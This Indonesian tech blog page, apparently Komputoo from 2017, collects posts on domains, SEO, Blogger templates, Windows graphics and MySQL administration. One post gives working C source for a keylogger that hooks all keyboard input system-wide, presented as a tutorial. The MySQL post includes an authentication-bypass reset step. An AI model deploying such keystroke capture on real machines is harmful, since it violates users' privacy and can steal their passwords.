Senin, 27 Februari 2017

Review PascalDomain.com


Tingginya permintaan domain baru membuat persaingan antara registrar domain semakin ketat. Sebagian besar cara yang banyak dilakukan saat ini adalah merilis harga promo segila mungkin, namun harga pembaharuannya akan membutuhkan biaya beripat ganda. Menyikapi hal ini, kita harus benar-benar lihai dalam memilih registrar. Sebaiknya kita pilih registrar yang bukan hanya terjamin dan murah, tapi juga bisa transparan dalam menunjukkan pricelist seluruh produknya.

Terbatasnya budget membuat saya terbuai dengan tawaran satu registrar baru yang masih terasa sedikit asing di telinga saya, yaitu PascalDomain.com. Saya juga yakin, teman-teman disini juga merasa demikian.

Awalnya saya hampir melepas kepercayaan saya setelah sampai ke tahapan checkout, ini setelah melihat harga-harga domain yang terlampau murah dibanding situs lain. Hal lain yang membuat saya ragu adalah mengenai logo perusahaan yang sedikit terlihat kurang profesional. Hmmm, tapi tak apalah, saat itu saya memperoleh domain .pw dengan harga promo Rp. 20.000, kalaupun tertipu ruginya tidak akan banyak.

Sejauh ini saya bisa menilai PascalDomain.com sebagai agen penjual domain dengan harga yang sangat terjangkau. Sepertinya situs ini berstatus sebagai reseller dalam skala kecil sih, tapi meski begitu pelayanannya tidak kalah cekatan seperti situs agen domain yang telah berskala besar dan sudah tidak asing di telinga kita.


Secara keseluruhan, saya dapat mengatakan bahwa PascalDomain bernilai cukup dalam hal user-friendlyness. Namun, tak perlu ragu, meski terlihat kurang meyakinkan, ia dapat memproses orderan kita dengan cepat kok. Soal harga, jangan ditanya lagi. Informasinya transparan, semua sudah termasuk PPN, tidak ada satupun biaya yang berusaha untuk disembunyikan untuk mengelabuhi user.
Read more

Jumat, 24 Februari 2017

Ternyata Meta Tag Keywords Tidak Digunakan Oleh Google. Ini Buktinya


Upaya optimisasi SEO (Search Engine Optimization) selama ini lebih fokus pada mesin pencari Google. Sebagian besar pakar berpendapat mengenai beberapa aspek yang dapat mendongkrak ranking SEO di Google. salahsatu aspek spesifiknya adalah keywords meta tag.

<meta name='keyword' content='...' />

Pada prakteknya, selama ini bloggers lebih banyak percayapada pakar SEO daripada melakukan riset sendiri. Padahal, sebenarnya semua teknik SEO yang ada di internet hanyalah berasal dari asumsi dan eksperimen pribadi pula. Benar atau tidaknya masih banyak dipengaruhi dengan kental oleh human-error juga kemungkinan kebetulan.

Siapa yang menyangka, ternyata salah satu keyword yanng dianggap penting ini sama sekali tidak dihiraukan oleh Google, lho. Hal ini seperti yang diungkapkan oleh Matt Cutts, salah satu Software Engineer yang bekerja dalam desain mesin pencari Google. Dalam video ini ia menyatakan dengan eksplisit bahwa Google sama sekali tidak menggunakan tag ini untuk menentukan ranking.


Salah satu penulis tema SEO, Shaun Anderson dalam sebuah artikel di www.hobo-web.co.uk(link) juga menyatakan bahwa dalam eksperimennya, Google dan Bing sama sekali tidak mempedulikan meta tag keywords dalam situs kita. Namun, salah satu mesin pencari lainnya, Yahoo, masih memiliki kemungkinan untuk menggunakan tag ini untuk perhitungan ranking. Sebagai pertimbangan, Anderson justru menayarankan untuk lebih fokus dalam menciptakan meta description yang baik.

Tidak disangka, ya?
Yah, tapi inilah faktanya. Mudah-mudahan tulisan ini bisa memberikan pencerahan baru.
Read more

Selasa, 21 Februari 2017

Gratis Template Blogger Mirip Google: YouSeoMe

Template google banyak menyadap unsur kesederhanaan dalam desainnya. Tapi tetap tidak melupakan unsur estetika juga. Karena itu terinspirasilah saya untuk membuat template blogger dengan tampilan mirip google. Saya senang sekali, karena hari ini saya telah menyelesaikan rilis template pertama saya ini, yaitu YouSeoMe. Template blogger ini awalnya berbasis dari Awesome Inc yang sebagian besar kodenya dimodifikasi dan banyak diimprovisasi.

Template ini sangat cocok untuk situs tips-tutorial, blog pribadi dan situs download. Bukan hanya berpenampilan unik, template ini juga tidak melupakan soal SEO dan model tampilan resposif.




Fitur:
1. Sidebar; 3 footer rows, second row contains 3 columns;
2. Responsive
3. SEO Optimized
4. Easy to configured
5. Totally free, no encrypted codes.
6. Inspired by Google's search engine latest design.

Demo:
http://www.humor.ga

Download:
http://lomba.asia/downloads/Youseome-v1.zip
File dari ini akan terus diupdate, mungkin versi yang anda unduh di link ini di kemarin hari akan berbeda dengan versi yang baru anda download dari link yang sama..

Panduan Instalasi:
http://www.komputoo.tk/p/youseome.html

Read more

Senin, 20 Februari 2017

Cara Membuat Template Blogger Sendiri Dari 0 [PART 1]


Cara Membuat Template Blogger? - WOW. Pernah terbayang, belum ya? Terus terang saja, membuat template blogger masih meninggalkan banyak misteri. Yang paling membuat penulis bertanya-tanya adalah, apa benar semua itu "dibuat"? atau hanya dimodifikasi? Menurut survey yang telah dilakukan secara pribadi, ditemui fakta bahwa mayoritas template blogger yang beredar di internet adalah bentuk modifikasi dari template yang sudah ada sebelumnya. Sementara itu, sampai saat ini belum ada satupun artikel yang membahas tentang cara pembuatannya.

Terkait akan hal ini, pernah suatu kali penulis membaca artikel Q&A dari situs forum resmi Google, dan ternyata beberapa praktisi yang ahli dibidangnya menyarankan untuk memulai dengan template bawaan dari blogger.

Tidak heran, sih, kenapa bisa demikian. Memang faktanya referensi untuk membuat template blogger ini sangat sulit dijumpai. Jadi, berbekal pengalaman web programming saya selama ini, saya mencoba memulai eksperimen untuk membuat template blogger. Sebenarnya tidak sepenuhnya membuat, namun menggunakan template bawaan blogger, mengikuti saran praktisi dari forum tadi. Yuk, disimak tulisannya.

Khusus, pada tahapan ini, kita akan membatasi bahasan topik yang akan dipelajari. Topik ini akan secara spesifik membahas mengenai hal-hal berikut; pengenalan elemen dasar dalam template blogger, menyederhanakan desain blogger, menghilangkan kompatibilitas tampilan mobile dan mengubah desain menjadi responsive.

Untuk melewati seluruh bahasan ini dengan baik, ikuti tutorial berikut dengan urut. Untuk kode hasil eksperimen, silahkan download di link berikut



1. Pilih Template Dasar
Ada banyak template yang bisa dippilih, setiap grup template (Sederhana, PT Keren Sekali, ...) memiliki varian yang berbeda-beda; namun jika diamati, struktur semua template tidak banyak berbeda, terkecuali yang dari grup Tampilan dinamis.

Anda bebas memilih bahan desain anda, namun selain yang dari grup Tampilan Dinamis, ya. Penulis sendiri, telah memilih layout dasar dari salah satu template grup PT Keren Sekali. Mungkin jika masih belum paham betul mengenai script yang digunakan template blogger, ikuti saja setiap instruksi dengan sama persis.

Setelah terpilih, anda bisa klik Sesuaikan->Tata Letak. Pastikan template hanya memiliki 1 sidebar sebelah kanan dan 3 buah footer. Jangan lupa disimpan setelah itu.

2. Sederhanakan
Saya akui, template blogger ini masih terlalu kompleks jika harus diedit secara keseluruhan. Jadi, agar lebih sederhana, ikuti trik yang saya lakukan.

- Hapus semua element dengan nama class cap-... , faux... beserta semua css yang mewakili elemen-elemen ini.

Misalnya elemen-elemen seperti ini:

<div class='tabs-cap-bottom cap-bottom'>
<div class='cap-left'/>
<div class='cap-right'/>
</div>

Hati, hati, jangan sampai elemen yang nama classnya berbeda ikut terhapus. Contohnya, jika seperti ini...
<div class='fauxborder-left header-fauxborder-left'>
  <div class='fauxborder-right header-fauxborder-right'/>
  <div class='region-inner header-inner'>
<b:section ...>
 <b:widget ...>
...
 </b:widget>
</b:section>
  </div>
</div>

Hapus sebagian, hingga menjadi
<div class='region-inner header-inner'>
<b:section ...>
  <b:widget ...>
...
  </b:widget>
</b:section>
</div>

Tips dari saya, gunakan editor notepad++ dengan highlight kode XML untuk memudahkan dalam menghapus tag-tag tersebut. Setiap telah menghapus/mengubah banyak bagian kode, sesekali luangkan waktu untuk menguji template. Jika berhasil disimpan dan dapat teruji berjalan dengan normal, simpan sebagai backup. Jangan sampai ada elemen pernting yang terhapus, tapi sudah terlalu banyak kode yang berubah. Jika sudah begini harus mulai dari awal, kan.

Perlu diketahui juga, saat ini apabila template diuji, sidebar akan turun di bagian bawah. Tapi jangan kawatir, nanti kita akan fix masalah ini.

- Hapus Includable untuk tampilan mobile
Temukan semua blok elemen ber-tag <includable ...>. Apabila ia memiliki atribut id dengan awalan mobile-, jangan sungkan sungkan untuk menghapus SELURUH blok tersebut. Misalnya:
<b:includable id='mobile-index-post' var='post'>
  <div class='mobile-date-outer date-outer'>
    ...
  </div>
</b:includable>

Seperti namanya, includable secara kasar dapat diartikan "dapat disisipkan/dipasang". Jadi, secara gampangnya bagian ini adalah blok kode yang dapat disisipkan di beberapa sisi lain di konten blog kita. Penyisipan ini dilakukan dengan tag <include ...>.

Selain tag includable yang berkaitan dengan tampilan mobile, sekarang anda juga harus menghapus semua script CSS yang terkait mobile juga. Ini contohnya...
/* Mobile
----------------------------------------------- */
body.mobile {
background-size: $(mobile.background.size);
}
.mobile .body-fauxcolumn-outer {
background: $(mobile.background.overlay);
}
*+html body.mobile .main-inner .column-center-inner {
margin-top: 0;
}
...

Selanjutnya, secara opsional, anda bisa menghapus bagian ini.
<body expr:class='&quot;loading&quot; + data:blog.mobileClass'>

sehingga berubah menjadi:
<body expr:class='&quot;loading&quot;'>

Bagian di atas secara otomatis akan diupdate sesuai lingkungan browser agar ukuran elemen dapat menyesuaikan diri dengan benar. Tapi kita tidak memerlukan ini lagi, karena konsep desain kita kali ini adalah tentang pentingnya desain responsive.

Nah, sampai di tahap ini saya harap anda sudah sedikit paham dengan if-else-end if. Programmer pasti sudah tahu dong. Sekarang ini, anda harus menghapus semua pernyataan kondisi yang memilih antara mobile dan desktop. Ubahlah dengan teliti dan hati-hati, sehingga hasilnya hanya akan mengeksekusi aksi untuk tampilan desktop saja. Contohnya, ubah kode di bawah ini:

<b:if cond='data:mobile'>
<div id='header-inner'>
  <div class='titlewrapper' ...>
<h1 ...>
 <b:include name='title'/>
</h1>
  </div>
  <b:include name='description'/>
</div>
<b:else/>
<div ... id='header-inner'>
  <div class='titlewrapper' ...>
<h1 class='title' ...>
 <b:include name='title'/>
</h1>
  </div>
  <b:include name='description'/>
</div>
</b:if>

Menjadi:
<div ... id='header-inner'>
  <div class='titlewrapper' ...>
<h1 class='title' ...>
 <b:include name='title'/>
</h1>
  </div>
  <b:include name='description'/>
</div>

Jika sudah selesai, pastikan juga kode include mobile-main ini hilang
...
<b:include name='mobile-main'/>
...

3. Desain Awal
Simpan/upload kode yang baru dimodifikasi ke blogger. Jalankan blog, maka akan terlihat layout blog kali ini jauh lebiih berantakan. Namun, justru sekarang adalah waktu yang tepat untuk mulai mendesain blog anda. Untuk itu, coba analisa setiap elemen dengan fitur inspect element dengan menekan shortcut CTRL+ALT+F11 (Firefox) atau  F12(Chrome). Agar, desainnya menjadi reponsif ubah atau buat CSS baru seperti berikut.

body {
    min-width: 240px;
}
.column-center-outer {
    width: 69.999%;
    box-sizing: border-box;
    float: left;
}
.column-right-outer {
    float: right;
    box-sizing: border-box;
    width: 29.999%;
}

Awalnya, body memiliki min-width 940px, sehingga layoutnya tidak akan menyesuaikan diri dengan tampilan mobile. Untuk itu, kita harus mengubahnya ke nilai lebih kecil.

Bagian column-center-outer adalah bagian konten tengah, dimana seluruh konten berada. Sementara itu, column-right-outer adalah tempat sidebar dan seluruh widget di dalamnya bernaung. Apabila sebelumnya memilih tampilan 2 sidebar, anda juga akan menemukan column-left-outer juga. Khusus untuk penjelasan nilai kedua atribut ini,silahkan baca artikel mengenai desain responsif part pertama saja:

Membuat Desain Web Responsive Part 1

Yap, sekarang, tampilan blog ini dapat responsif, meski sebagian besar masih berantakan.


Masih ada beberapa tahap lagi, kali ini ubah  semua style CSS dalam template yang masing menggunakan nilai merujuk variabel. Misalnya ini:

.footer-outer {
margin: -$(shadow.spread) 0 -1px;
padding: $(shadow.spread) 0 0;
color: $(footer.text.color);
overflow: hidden;
}

Untuk mempebaiki dan menyesuaikan desain template, kamu dapat bebas sesuka hati menambahkan ataupun menghilangkan CSS rules default dari template awal. Proses ini kadang perlu ketelatenan dan kesabaran. Jika bisa melewatinya, insyaAllah hasilnya memuaskan kok.

Jika sudah banyak diubah, seluruh tag <variabel ...> pada bagian CSS sebaiknya juga dihapus apabila sudah tidak diperlukan. Meski variabel ini digunakan dalam penyesuaian template secara instan (Melalui desain yang diakses dari tombol "Sesuaikan"), umumnya template blogger yang beredar di internet saat ini tidak terlalu memperdulikannya. Tidak masalah sih. Lagipula, menyesuaikan prinsip desain template dengan pengaturan instan tidaklah mudah, terkadang justru sampai membuat desain kita yang buruk terlihat jauh lebih buruk.

O iya, coba juga kode template yang link nya ada di atas tadi. Berikut penjelasan tiap filenya:
1 -> Kode yang bagian cap-... dan faux... sudah terhapus.
2 -> Semua bagian terkait mobile sudah terhapus
3 -> Hasil akhir yang sudah dapat berjalan responsive (juga masih berantakan)

Contoh yang sudah jadi:
- http://jaura-v1.blogspot.com
- http://youseome.blogspot.com

Sekian dulu tutorialnya. Entah apa yang akan dibahas selanjutnya, yang jelas PART 1 ini masih belum cukup. Kita masih perlu mengatur agar postingan halaman pertama teringkas secara otomatis (fitur read more), membuat navigasi halaman, optimalisasi SEO, dan masih banyak lagi. Keep tune dengan Komputoo untuk menunggu PART selanjutnyaa, ya.

See you..
Read more

Apa Itu Device Context (Windows) ?

device context icon illustration

Device context adalah sebuah objek struktur data internal Windows yang banyak digunakan untuk menangani objek grafis. Semua yang tampak pada desktop semuanya terdiri atas kumpulan representatif dari device context.

Device Context, atau sering pula ditulis singkat sebagai DC merupakan objek yang bertanggung jawab mendeskripsikan elemen grafis di sistem Windows kita. Meskipun setiap unit warna dalam desktop terdiri atas piksel, kebanyakan sistem lebih suka memilih metode lain untuk menyimpan gambar tersebut. Alasannya, adalah karena ada banyak objek yang harus disimpan dalam RAM yang berkapasitas terbatas. Inilah mengapa device context ada. Jika sudah paham tentang perbedaan grafis bitmap dan vektor, maka grafis vektor ini adalah yang lebih banyak merepresentasikan tentang bagaimana si device context ini bekerja.

Sebagian besar elemen dasar di desktop umumnya disusun atas bidang-bidang sederhana yang tidak jauh dari garis, persegi atau lingkaran. Sebuah objek device context bisa diibaratkan sebagai resep. Yaitu sebuah resep untuk menciptakan sebuah objek gambar. Dalam resep tersebut terdapat deskripsi setiap detail partikel objek yang akan menyusun gambar seara utuh, berikut warna, atribut dan urutan gambar objek.

Cara ini lebih efektif daripada mendeskripsikan sebuah bidang yang terdiri atas piksel-piksel. Bayangkan, sebuah persegi 100 x 100 berkedalaman 32bpp saja dapat memakan memori 100 x 100 x 4 = 40.000 (40 KB). Dengan banyaknya aplikasi dan komponen GUI, menyimpan data secara eksplisit dengan piksel akan kurang efisien. Device context menjawab tantangan ini dengan menyediakan objek struktur data yang mendeskripsikan bidang yang ingin digambar.

Untuk menyimpan bentuk dan ukuran persegi yang sama, sebuah DC hanya butuh data beberapa byte untuk mendeskripsikan bidang tersebut, misalnya jenis objek, atribut panjang dan lebar, serta warna dari objek.

Contoh lainnya, apabila sebuah DC menyimpan objek grafis seperti di atas, maka di dalam objek DC tersebut akan terdapat data yang harus mendeskripsikan proses gambar elemen dengan benar:
1. Buat kanvas persegi x * y background putih
2. Gambar lingkaran di x dan y dengan ukuran w dan h, border n piksel hitam dan background kuning.
3. Buat 4 lingkaran (untuk mata) ...
4. Buat arc (untuk mulut) ...

Nah, sekarang sudah ada gambaran kan? Kira-kira seperti itulah DC. Kalau saja Windows itu open source, mungkin source codenya akan dijelaskan sekalian. Berhubung tidak demikian, mengkin sedikit tulisan ini akan memberikan gambaran mengenai DC tersebut.
Read more

Sabtu, 18 Februari 2017

Membuat Keylogger Dengan Bahasa C Dan WINAPI (Simple, 30 Baris Kode)


Keylogger adalah program yang dirancang khusus untuk melakukan monitor aktivitas keyboard dan terkadang juga disertai modifikasi data input untuk tujuan tertentu. Selama ini banyak orang cenderung menginterpretasikan keylogger sebagai program negatif yang merugikan. Padahal ada banyak sekali manfaat yang bisa diperoleh dari implementasi fitur keylogger semacam ini. Misalnya, jika bisa kreatif, coba untuk membuat progra untuk mencegah penulisan kata kotor, atau mencegah anak mengetik alamat web yang tidak pantas diakses. Keren bukan?

Membuat keylogger adalah mudah jika kita tahu dasar-dasar Windows API. Walaupun tidak, MSDN memiliki dokumen lengkap yang bisa diakses setiap waktu untuk mempelajari setiap elemen dasar fungsi API Windows. Begitu juga dengan tulisan ini, sebagian besar penjelasannya mengutip dokumentasi MSDN. Nanti, saya juga akan sertakan link sumbernya, agar kalian juga dapat mempelajari sumber aslinya lebih detail. Harapan saya, tutorial ini bisa menjadi rujukan, sekaligus inspirasi untuk project kalian selanjutnya.

Berikut ini adalah 30 baris kode yang hasilnya sudah dapat berjalan sebagai keylogger sederhana.

#include <stdio.h>
#include <windows.h>

LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){
 DWORD type;
 KBDLLHOOKSTRUCT *hooks;
 if(nCode == HC_ACTION){
  type = (DWORD) wParam;
  hooks = (KBDLLHOOKSTRUCT *) lParam;
  if (type == WM_KEYDOWN) printf("%c",hooks->vkCode);
  if (hooks->vkCode == 0x51) PostQuitMessage(0);
 }
 return CallNextHookEx(NULL, nCode, wParam, lParam);
}

HHOOK hooker;
int main(){
 hooker = SetWindowsHookEx(WH_KEYBOARD_LL,
  &LowLevelKeyboardProc,
  NULL,
  0
 );
 if(!hooker) printf("Error register hook\n");
 MSG msg;
 while (GetMessage(&msg, NULL, 0, 0)) {
  TranslateMessage(&msg);
  DispatchMessage(&msg);
 }
 UnhookWindowsHookEx(hooker);
}

Sebuah keylogger memanfaatkan salah satu fitur internal Windows, yaitu hook. Mekanisme hook bekerja layaknya filter yang dipasang untuk menyaring data yang dikehendaki. Sebuah hook juga dapat berperan layaknya pipa, ia hanya perlu memonitor setiap data yang terlintas, seperti inilah cara keylogger bekerja.


Install Hook
Di Windows, hook dibuat dengan SetWindowsHookEx() dan dihentikan dengan UnhookWindowsHookEx().

HHOOK WINAPI SetWindowsHookEx(
 int       idHook,
 HOOKPROC  lpfn,
 HINSTANCE hMod,
 DWORD     dwThreadId
);

Parameter idHook adalah jenis hook yang ingin kamu pasang. Di sini ada beberapa varian hook yang bisa digunakan, misal WH_CALLWNDPROC untuk memfilter Window event, dan WH_MOUSE untuk memfilter aktivitas mouse. Sedangkan untuk keylogger, WH_KEYBOARD_LL adalah pilihan yang tepat.

Kemudian parmeter lpfn harus merujuk sebagai pointer kepada fungsi callback yang kita sediakan untuk melakukan filter/monitoring. Setiap jenis id hook akan memiliki bentuk fungsi yang berbeda. Untuk melihat referensi lengkap tentang bentuk fungsi callback tiap id hook, lihat MSDN. Di bawah nanti anda juga bisa melihat bagaimana bentuk callback untuk WH_KEYBOARD_LL.

Terakhir ada 2 parameter yang tidak terlalu penting untuk dibahas detail sekarang. Singkatnya hMod adalah nilai handle DLL, apabila hook dibuat dari shared library; dwThreadId adalah id thread pembuat hook. Kedua nilai ini bisa dikosongi jika program kita tidak berhubungan dengan shared library dan thread.

Jika fungsi berhasil membuat hook, nilai yang dikembalikan berupa handle hook yang nilainya dapat dipastikan bukan 0.
Ref: https://msdn.microsoft.com/en-us/library/windows/desktop/ms644990(v=vs.85).aspx


Uninstall Hook
Setelah selesai, gunakan fungsi unhook seperti berikut ini, dengan argumen hhk berupa handle ke hook yang dibuat sebelumnya. Meski saat program keluar, hook akan otomatis terhapus, melepas hook secara manual sebelum program keluar sangatlah dianjurkan.

BOOL WINAPI UnhookWindowsHookEx(
 HHOOK hhk
);


Hook Run-time
Contoh program dalam tulisan ini bekerja sebagai program konsol. Meski begitu, sebenarnya hook hanya dianjurkan untuk program desktop dengan tampilan GUI saja. Agar hook dapat bekerja, beberapa baris kode berikut harus ditambahkan.

MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
 TranslateMessage(&msg);
 DispatchMessage(&msg);
}

Tanpa kode di atas, hook tidak akan bekerja pada program konsol. Pada kode di atas fungsi GetMessage() akan terus memproses window event dari sistem secara loop. Event ini terjadi ketika sebuah window menerima input dari user ataupun sistem, misalnya saja ketika kita mengetik dan mengklik di area window tersebut.

Sebuah pesan umumnya berasal dari keyboard. Fungsi TranslateMessage() bertugas memproses data mentah keyboard ini ke bentuk yang siap diproses oleh program. Sedangkan DispatchMessage() bertugas untuk mengirimkan pesan data ini kepada yang membutuhkan. Nah, dari sini jugalah data keylogger dikirim, sehingga WAJIB hukumnya untum mengeksekusi fungsi ini.

Ketika program mendapat instruksi untuk berhenti, GetMessage() akan mengembalikan nilai 0 (FALSE). Saat iniah kita harus menghentikan hook dan mengeluarkan program.
Ref : https://msdn.microsoft.com/en-us/library/windows/desktop/ms644936(v=vs.85).aspx


Hook Callback
Dibawah ini adalah bentuk fungsi callback untuk WH_KEYBOARD_LL, berikut penjelasan setiap parameternya.

LRESULT CALLBACK LowLevelKeyboardProc(
 int    nCode,
 WPARAM wParam,
 LPARAM lParam
);

Pertama, nCode adalah kode yang menentukan bagaimana callback harus memproses parameter wParam dan lParam. Menurut MSDN, apabila nCode < 0, callback harus memanggil CallNextHook() TANPA memproses wParam dan lParam. Kemudian segera mengembalikan nilai yang dihasilkan oleh CallNextHook() sebagai return value.

Kedua, wParam menunjukkan jenis pesan yang harus diproses. Nilainya dapat berupa salah satu dari nilai berikut : WM_KEYDOWN, WM_KEYUP, WM_SYSKEYDOWN, atau WM_SYSKEYUP.

Ketiga, lParam menunjuk ke struktur KBDLLHOOKSTRUCT. Dari struktur data ini, kita bisa mngetahui tombol mana yang sedang ditekan atau dilepas.

typedef struct tagKBDLLHOOKSTRUCT {
  DWORD     vkCode;
  DWORD     scanCode;
  DWORD     flags;
  DWORD     time;
  ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT;


Misalnya, jika wParam = WM_KEYDOWN dan wParam->vkCode = 0x41 (tombol A), artinya A sedang ditekan. Namun, jik wParam = WM_KEYUP, artinya tombol tersebut sedang dilepaskan.
Kode berikut akan mencetak karakter hanya apabila tombol ditekan. Apabila tombol Q ditekan, fungsi PostQuitMessage() dipanggil untuk memberikan instruksi pmberhentian program. Fungsi inilah yang akan memicu GetMessage() mengembalikan 0 dan segera bergenti dari loop.
Ref. Hook structhttps://msdn.microsoft.com/en-us/library/windows/desktop/ ms644967(v=vs.85) .aspx
Ref. vkCodehttps://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
Ref. Msghttps://msdn.microsoft.com/en-us/library/windows/desktop/ff468870(v=vs.85).aspx

if(nCode == HC_ACTION){
 type = (DWORD) wParam;
 hooks = (KBDLLHOOKSTRUCT *) lParam;
 if (type == WM_KEYDOWN) printf("%c",hooks->vkCode);
 if (hooks->vkCode == 'Q') PostQuitMessage(0);
}

Ada satu fungsi yang belum kita bahas, CallNextHookEx(). Pada dasarnya, setiap program memiliki hook default yang terpasang untuk memperoleh pesan dari sistem. Jadi pendaftaran hook akan bekerja dengan menambahkan hook tambahan baru yang diproses secara manual oleh program. Dengan memanggil CallNextHook(), artinya kita akan memanggil hook default yang memerlukan. Sebagai contoh, jika fungsi ini tidak dipanggil dengan benar, program lain tidak akan dapat menerima input keyboard sampai program pemilik hook ini berhenti.

LRESULT WINAPI CallNextHookEx(
 HHOOK  hhk,
 int    nCode,
 WPARAM wParam,
 LPARAM lParam
);

Refhttps://msdn.microsoft.com/en-us/library/windows/desktop/ms644974(v=vs.85).aspx
Namakan kode sebagai keylog.c, lalu build sebagai exe dengan perintah:
gcc keylog.c -o keylog.exe

Hasinya...


Read more

Cara Mengganti Password MySQL


Mengganti password MySQL rasanya gampang-gampang susah. Ini karena, tidak ada GUI tersedia untuk melakukannya. Mau tak mau, harus buka pakai command prompt. Tentu saja, harus tahu perintah yang digunakan. Tapi, MySQL bukanlah program biasa, ada ratusan implmentasi di dalamnya yang terlalu kompleks untuk dipahami secara keseluruhan. Bahkan, jika kita menggunakan perintah help sekalipun. Mengganti password adalah salah satunya.

Karena latar belakang di atas, tulisan ini akan menunjukkan beberapa cara mengubah password MySQL, berdasarkan beberapa inti masalah yang berbeda.


1. Mengganti Password Untuk Pertama Kali
Saat MySQL pertama kali diinstal dan digunakan, normalnya ada satu user bernama "root" yang bisa digunakan tanpa memerlukan password saat login. Untuk mengubah password untuk pertama kalinya, gunakan perintah:

mysqladmin -u root password newpass

Jika ada error, pastikan server MySQL sudah aktif. Jika masih tetap error juga, ikuti langkah di bawah untuk melakukan RESET password MySQL.


2. Update Atau Ganti Password Dari Command Line
Di hari selanjutnya, jika kamu rasa password ini sulit diingat atau tidak cocok. Kamu bisa mengubahnya dengan perintah berikut:

mysqladmin -u root -p passwordlama passwordbaru
Atau juga bisa digunakan pada username lain:

mysqladmin -u user-name -p passwordlama passwordbaru


2. Update Atau Ganti Password Dari MySQL Prompt
MySQL menyimpan username and password dalam database khusus. Kita dapat secara langsung mengubah data ini melalui query SQL. Berikut langkah-langkahnya:

- Login ke MySQL server dari command prompt:
  mysql -u root -p

- Pilih database mysql. Inilah database yang saya maksud sebelumnya. Setelah berhasil karang ketikkan query:
  use mysql;

- Cara mengubah passwordnya adalah sebagai berikut:
  UPDATE user SET password=PASSWORD("passwordbaru") WHERE user='username';

- Reload privileges dan selesai:
  flush privileges;
  quit


3. RESET Password (Lupa / Error)
Jika ada pesan seperti di bawah ini, artinya password yang kamu masukkan tidak sesuai. Tapi, jika berulang kali tetap demikian, tidak ada pilihan lain, selain mengatur ulang password.

mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'root'@'localhost' (using password: YES)'

Masalah semakin bertambah membingungkan, jika kita sama sekali tidak ingat satupun password dari semua user-name yang beroperasi pada MySQL. Jangan kawatir, masih ada solusi untuk masalah ini:

- Stop proses server MySQL dari task manager. Cari yang namanya, mysqld.exe. Di GNU/Linux, kamu bisa gunakan perintah berikut dari terminal:
  /etc/init.d/mysql stop

- Mulai ulang server/daemon tersebut secara manual dari command line dengan argumen --skip-grant-tables untuk memerintahkan MySQL agar melupakan proses autentifikasi password.
  mysqld --skip-grant-tables

- Lanjutkan dengan melakukan instruksi Cara Ke-2 di window command prompt baru (tanpa argumen -p), biarkan mysqld yang sebelumnya tetap berjalan pada window command prompt.

- Hentikan MySQL server, lalu mulai server seperti biasa.


Yap, selesai juga sedikit tulisan tutorial ini. Mudah-mudahan ini bisa membantu siapapun yang sedang kesulitan dengan masalah password MySQL.

Sumber:
https://www.howtoforge.com/setting-changing-resetting-mysql-root-passwords

Read more

Ukuran MySQL Terlalu Besar (1 GB+) : Hapus MYSQLSERVER.LIB


Selama ini banyak yag belum terlalu mmperhatikan bahwa ukuran binary MySQL melebihi ambang normal (1.2 GB), bahkan, saat tidak ada database sekalipun.

Dulu, pernah pengalaman instal WAMP. Belum genap 1000-an datanya, eh, tiba-tiba ada peringatan low disk space. Setelah ditelusuri, salah satu objek yang bisa dikorbankan ya, WAMP ini. Saya kira ini memang masalah dari MySQL yang dibundling oleh WAMP. Karena, setelah menginstall WTServer, ukuran disk yang diperlukan hanya 200 MB-an.

Hari ini, WAMP terinstall kembali, setelah saya tahu WTServer punya format tersendiri untuk .htaccess nya. Kali ini, saya telusuri kembali akar masalahnya. Dan, ternyata ada satu file aneh yang memakan memori hingga 900 MB: mysqlserver.lib. Untuk apa ada file ini di MySQL

Setahu saya, file ekstensi .lib hanya berguna untuk bagi siapa yang ingin membuat dan membangun program berbasis desktop yang terintegrasi library MySQL. Jadi, jika disini hanya ingin bekerja untuk web programming saja, menghapus file .lib akan aman-aman saja (100%). Bukan hanya di MySQL, jika ada file .lib lain di Apache atau PHP, kamu juga bisa menghapusnya kalu mau.

Sekian postingan tips dari Komputoo, semoga bermanfaat.
Read more

Jumat, 17 Februari 2017

Cara Daftar Dan Mengatur Custom Domain Blogger Dari Freenom 2017

Domain TLD gratis memang sulit diperoleh. Jadi, jangan sampai tawaran dari Freenom ini disia-siakan.Kita tidak akan pernah tahu, sampai kapan pihak Freenom menyediakan layanan ini untuk kita.

Ada banyak alasan untuk lebih memilih domain TLD. Rata-rata bilang bahwa domain TLD dapat membuat blog terlihat lebih professional. Bahkan, TLD juga dapat mengangkat reputasi blog di mata search engine juga. Asli, ini berdasarkan pengaaman saya dulu, lho.

Sayangnya, kebanyakan TLD itu berbayar. Kalaupun ada yang gratis, kadang masih saja punya alasan untuk tidak membelinya. Gak punya rekening atau mungkin karena masih ragu kalau blogging bisa mendatangkan rizki. Kalau ragu, saran saya: beli saja, meskipun rugi. Keraguan itu akan hiilang dengan sendirinya, kok. Siapa sih yang mau berhenti berusaha, setelah melakukan pengorbanan ?

Kalau tetap masih ragu, domain dari Freenom mungkin bisa jadi solusi kamu. Tinggal daftar dan pilih domain keinginanmu (.tk, .ga, .gg, .ml, .cf), semuanya gratis.

Beberapa tutorial di internet sudah tidak bisa digunakan, karena tampilan Freenom sudah banyak berubah akhir-akhir ini. Jadi, kali ini saya akan membagikan tutorial cara daftar domain freenom, sekaligus cara setting custom domain dari freenom di blogger, khusus untuk tahun 2017. Yuk, disimak..

1. Pilih domain
Pergi ke situs http://freenom.com. Lalu pilih sebuaah domain yang cocok dengan blog kamu. Saya beruntung sekali, saat membuat tutorial ini menemukan domain singkat www.humor.ga.


2. Checkout dan atur pengaturan awal
Domain yang ditambahkan akan masuk ke cart. Setelah mengklik add to cart di langkah 1, akan terlihat tombol Checkout di bagian atas. Apabila diklik, kita akan melihat halaman seperti di bawah ini.

Isikan semua kolom sampai sama persis seperti screenshoot di atas. Untuk kolom nameserver, dapatkan di pengaturan custom domain Blogger. Masuk Pengaturan/Settings bagian Dasar, Pilih untuk menyiapkan domain third party/pihak ketiga.


Masukkan domain yang anda daftarkan di Freenom, disertai prefix WWW. Nah, 2 baris data CNAME tersebutlah yang harus anda masukkan di kolom nameserver dan IP address Freenom. Jangan kawatir apabila ada error seperti di atas, memang seperti ini kok.

3. Isi biodata dan verifikasi email
